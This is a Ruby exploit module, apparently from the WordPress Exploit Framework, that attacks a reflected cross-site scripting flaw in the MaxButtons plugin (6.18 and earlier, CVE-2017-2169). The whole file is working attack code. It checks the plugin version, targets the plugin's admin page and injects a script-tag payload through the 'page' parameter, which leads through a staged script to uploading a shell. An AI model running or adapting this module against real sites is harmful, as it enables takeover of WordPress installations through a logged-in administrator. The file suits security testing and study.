# frozen_string_literal: true

class Wpxf::Exploit::MaxbuttonsReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'MaxButtons <= 6.18 Reflected XSS Shell Upload',
      author: [
        'JPCert',    # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['CVE', '2017-2169'],
        ['WPVDB', '8831'],
        ['URL', 'https://www.rastating.com/maxbuttons-6-18-reflected-xss']
      ],
      date: 'May 23 2017'
    )
  end

  def check
    check_plugin_version_from_readme('maxbuttons', '6.19')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=maxbuttons-controller')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
